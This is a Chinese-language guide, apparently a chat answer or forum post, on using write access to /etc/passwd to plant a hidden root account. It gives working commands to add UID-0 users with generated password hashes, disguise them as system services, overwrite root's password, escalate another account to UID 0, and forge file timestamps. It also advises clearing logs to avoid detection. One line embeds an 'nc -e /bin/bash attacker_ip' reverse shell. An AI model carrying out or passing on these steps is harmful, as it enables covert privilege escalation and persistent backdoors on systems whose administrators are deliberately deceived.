如果你只能利用 /etc/passwd 的可读写权限(没有对 /etc/shadow 或其他文件的控制权),可以通过以下方式优化你的方法,以创建一个拥有 root 权限的用户并尽可能隐蔽操作。


---

基础方法

直接在 /etc/passwd 中添加用户:

echo "user1:$(openssl passwd -1 user1):0:0:root:/root:/bin/bash" >> /etc/passwd

user1 是用户名。

openssl passwd -1 user1 用于生成 MD5 加密的密码 user1。


注意: 由于现代系统可能使用 shadow 文件存储密码,这种方法只能在支持 /etc/passwd 密码存储的情况下使用。


---

优化操作

1. 伪装用户名

选择与系统服务类似的用户名以降低可疑性,例如:

systemd-helper:x:0:0:root:/root:/bin/bash

将 user1 替换为更隐蔽的名字,如 systemd-helper 或 networkd.


---

2. 加密密码

生成更复杂的密码哈希:

perl -le "print crypt('YourSecurePassword', 'RandomSalt')"

替换 YourSecurePassword 为你选择的密码,并将结果填入 /etc/passwd,如:

systemd-helper:12WuJNXWqXu6g:0:0:root:/root:/bin/bash


---

3. 时间伪造

恢复 /etc/passwd 文件的时间戳,以避免管理员发现修改痕迹:

touch -r /etc/passwd.bak /etc/passwd

这里 /etc/passwd.bak 是修改前的备份。


---

4. 隐藏用户

将创建的用户伪装为系统进程的用户,避免被直接察觉:

用户名以 _ 或 . 开头(部分工具可能不会显示)。 例如:

.networkd:x:0:0:root:/root:/bin/bash

修改 shell 为 /sbin/nologin,使用以下命令切换 shell 时激活:

.networkd:x:0:0:root:/root:/sbin/nologin

后续可通过 su .networkd 或直接切换到 root 用户。



---

特殊利用方式

1. 覆盖现有用户密码

找到目标系统中已存在的高权限用户(如 root),直接覆盖其密码字段:

root:12WuJNXWqXu6g:0:0:root:/root:/bin/bash

通过这种方式,你可以复用 root 用户,而不会新增条目。

2. 劫持其他用户的账户

将目标普通用户的 UID 和 GID 设置为 0:

targetuser:x:0:0:target:/home/target:/bin/bash

这样,targetuser 实际变为 root。

3. 恶意脚本植入

在 /etc/passwd 的备注字段插入命令(需环境支持):

user1:x:0:0:root:/root:/bin/bash:/bin/bash #nc -e /bin/bash attacker_ip 4444

备注字段理论上不会影响用户功能,但如果某些系统工具执行这段命令,可达到执行后门的目的。



---

注意事项

1. 兼容性:

部分系统可能忽略 /etc/passwd 中的密码字段(如果启用了 /etc/shadow)。

测试目标环境是否支持 /etc/passwd 内存储密码。



2. 隐蔽性:

避免高频操作;伪装用户名与系统服务一致。

恢复文件时间戳,并清理任何可能的日志痕迹。



3. 审计风险:

/etc/passwd 的变更很容易触发系统安全工具警报。

优化清理工作以降低被检测的可能性。
 
 
Back to Top